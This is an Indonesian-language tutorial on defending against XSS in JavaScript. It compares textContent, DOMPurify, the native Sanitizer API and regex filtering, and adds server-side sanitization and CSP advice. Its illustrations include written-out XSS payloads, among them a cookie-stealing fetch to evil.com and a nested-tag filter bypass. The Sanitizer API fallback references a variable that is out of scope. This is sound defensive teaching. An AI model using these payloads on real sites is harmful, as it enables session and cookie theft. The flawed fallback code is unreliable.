Sanitasi input HTML di JavaScript adalah proses membersihkan, menonaktifkan, atau menghapus markup berbahaya (seperti skrip JavaScript tersembunyi, atribut event inline onerror, atau tag <iframe>) dari string yang dimasukkan pengguna sebelum dirender ke dalam DOM (Document Object Model). Tujuan utamanya adalah menggagalkan serangan Cross-Site Scripting (XSS) yang dapat mencuri token sesi, cookie autentikasi, atau membajak sesi peramban korban.
Metode terbaik dan berstandar industri saat ini terbagi menjadi dua skenario utama: jika Anda hanya membutuhkan teks polos (plain text), gunakan properti bawaan peramban textContent. Namun, jika Anda mengizinkan format teks kaya (rich text seperti tag <b>, <i>, <a>), gunakan pustaka keamanan mapan seperti DOMPurify atau Sanitizer API native peramban.
Metode 1: Menampilkan Teks Polos (Plain Text Escaping)
Jika input pengguna tidak memerlukan format visual HTML (seperti nama pengguna, komentar standar, atau teks formulir biasa), jangan pernah memasukkannya lewat element.innerHTML. Gunakan textContent atau innerText. Browser secara otomatis mengonversi karakter khusus seperti < dan > menjadi representasi teks biasa tanpa mengeksekusinya sebagai kode.
// AMAN: Browser otomatis memperlakukan input sebagai string murni
const userInput = '<img src="x" onerror="alert(1)">';
const container = document.getElementById('user-comment');
container.textContent = userInput;
// Hasil di layar: teks utuh '<img src="x" onerror="alert(1)">' tanpa eksekusi skripMetode 2: Mengizinkan HTML Aman dengan DOMPurify
Saat aplikasi web Anda memiliki fitur WYSIWYG editor (seperti deskripsi produk atau artikel blog) yang wajib merender tag HTML tertentu, menggunakan textContent akan merusak format visual. Anda wajib memfilter string HTML tersebut menggunakan pustaka parser berkeamanan tinggi seperti DOMPurify.
DOMPurify mem-parsing HTML ke dalam tree terisolasi, menghapus semua vektor eksploitasi (seperti javascript: URI, manipulasi atribut mXSS, dan tag skrip), lalu mengembalikan HTML yang sudah bersih.
Instalasi dan Implementasi DOMPurify
// 1. Lewat NPM (Node.js/Bundler: Webpack, Vite)
// npm install dompurify
import DOMPurify from 'dompurify';
// Atau lewat CDN (Browser murni):
// <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.9/dompurify.min.js"></script>
const dirtyPayload = '<p>Halo <script>stealTokens()</script><img src="invalid" onerror="alert(\'Hacked!\')"><b>Dunia</b></p>';
// Sanitasi dasar
const cleanHtml = DOMPurify.sanitize(dirtyPayload);
// Render ke DOM
document.getElementById('content-area').innerHTML = cleanHtml;
// Hasil output bersih: <p>Halo <img src="invalid"><b>Dunia</b></p> (skrip dan onerror dihapus tuntas)Konfigurasi Whitelist Atribut & Tag Kustom
Anda dapat mengontrol secara ketat elemen apa saja yang boleh lolos melewati filter:
const strictConfig = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'title', 'target'],
ALLOW_DATA_ATTR: false
};
const userComment = '<a href="javascript:alert(1)">Klik di sini</a> <b>Teks Tebal</b>';
const safeComment = DOMPurify.sanitize(userComment, strictConfig);
// Protokol 'javascript:' otomatis dihapus demi keamanan:
// Hasil: <a>Klik di sini</a> <b>Teks Tebal</b>Metode 3: HTML Sanitizer API (Standar Web Native Terbaru)
W3C dan vendor browser modern mengembangkan antarmuka native bernama Sanitizer API. Fitur ini memungkinkan sanitasi langsung di level engine peramban tanpa memerlukan library pihak ketiga. Pastikan melakukan pemeriksaan dukungan browser sebelum menggunakannya di lingkungan produksi.
// Pemeriksaan dukungan Sanitizer API di browser
if (window.Sanitizer) {
const sanitizer = new Sanitizer();
const dirtyString = '<p>Belajar JS <svg onload="alert(document.cookie)"></svg></p>';
// Menuliskan elemen aman langsung ke DOM
const container = document.getElementById('target-box');
container.setHTML(dirtyString, { sanitizer });
} else {
// Fallback menggunakan DOMPurify jika browser belum mendukung
container.innerHTML = DOMPurify.sanitize(dirtyString);
}Matriks Perbandingan Pendekatan Sanitasi di JavaScript
| Metode | Tipe Konten | Performa | Kebutuhan Library | Tingkat Keamanan XSS |
|---|---|---|---|---|
element.textContent | Teks polos murni | Paling Cepat (Native) | Tidak Perlu | Sangat Tinggi (Anti-XSS Mutlak) |
| DOMPurify | Rich Text / HTML aman | Cepat & Stabil | Perlu (~18 KB gzipped) | Standar Emas Industri |
| Sanitizer API | Rich Text / HTML aman | Sangat Cepat (Native) | Tidak Perlu | Sangat Tinggi (Modern Browser) |
| Regex Replace Manual | Teks / HTML parsial | Bervariasi | Tidak Perlu | Sangat Berbahaya (Mudah Dibobol) |
encodeURIComponent() | Nilai Query Parameter URL | Sangat Cepat (Native) | Tidak Perlu | Tinggi (Khusus Konteks URL) |
Bahaya Fatal: Mengapa Dilarang Menggunakan Regex untuk Sanitasi HTML
Banyak pengembang pemula mencoba membuat fungsi sanitasi sendiri menggunakan Regular Expression (Regex), seperti userInput.replace(/<script[^>]*?>.*?</script>/gi, ''). Pendekatan ini merupakan anti-pattern berbahaya yang selalu dapat dilewati (bypassed) oleh peretas melalui berbagai teknik mutasi DOM (mXSS), antara lain:
- Nested Tags: Input seperti
<scr<script>ipt>alert(1)</script>akan menghasilkan<script>alert(1)</script>setelah filter regex satu kali jalan menghapus tag di bagian tengah. - Event Handlers Inline: Filter skrip tidak menangani payload pada atribut gambar atau SVG seperti
<img src="invalid.jpg" onerror="fetch('https://evil.com?c='+document.cookie)">. - Obfuscation & Case Sensitivity: Format acak seperti
<sCrIpt/x>atau manipulasi tag penutup null-byte yang valid di HTML spec tetapi membingungkan pola regex sederhana.
Strategi Pertahanan Berlapis (Defense-in-Depth)
Sanitasi input di sisi klien (client-side) semata tidak pernah cukup untuk menjamin keamanan sistem secara menyeluruh. Terapkan arsitektur keamanan berlapis berikut:
- Sanitasi Sisi Server (Backend): Selalu sanitasi dan validasi data saat diterima di backend (misalnya menggunakan pustaka sanitize-html di Node.js atau Bleach di Python). Jangan pernah percaya sepenuhnya pada sanitasi sisi klien karena permintaan HTTP dapat dimanipulasi peretas secara langsung via cURL atau Postman.
- Content Security Policy (CSP): Tambahkan header HTTP CSP pada konfigurasi server web Anda:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';. Kebijakan ini membatasi eksekusi skrip berbahaya seandainya ada injeksi kode yang tidak sengaja lolos ke halaman aplikasi. - Gunakan Konteks Encode yang Benar: Memasukkan data ke dalam atribut (
href,src) membutuhkan validasi skema URL (memastikan hanya protokolhttp:atauhttps:yang diizinkan, menolak protokoljavascript:ataudata:).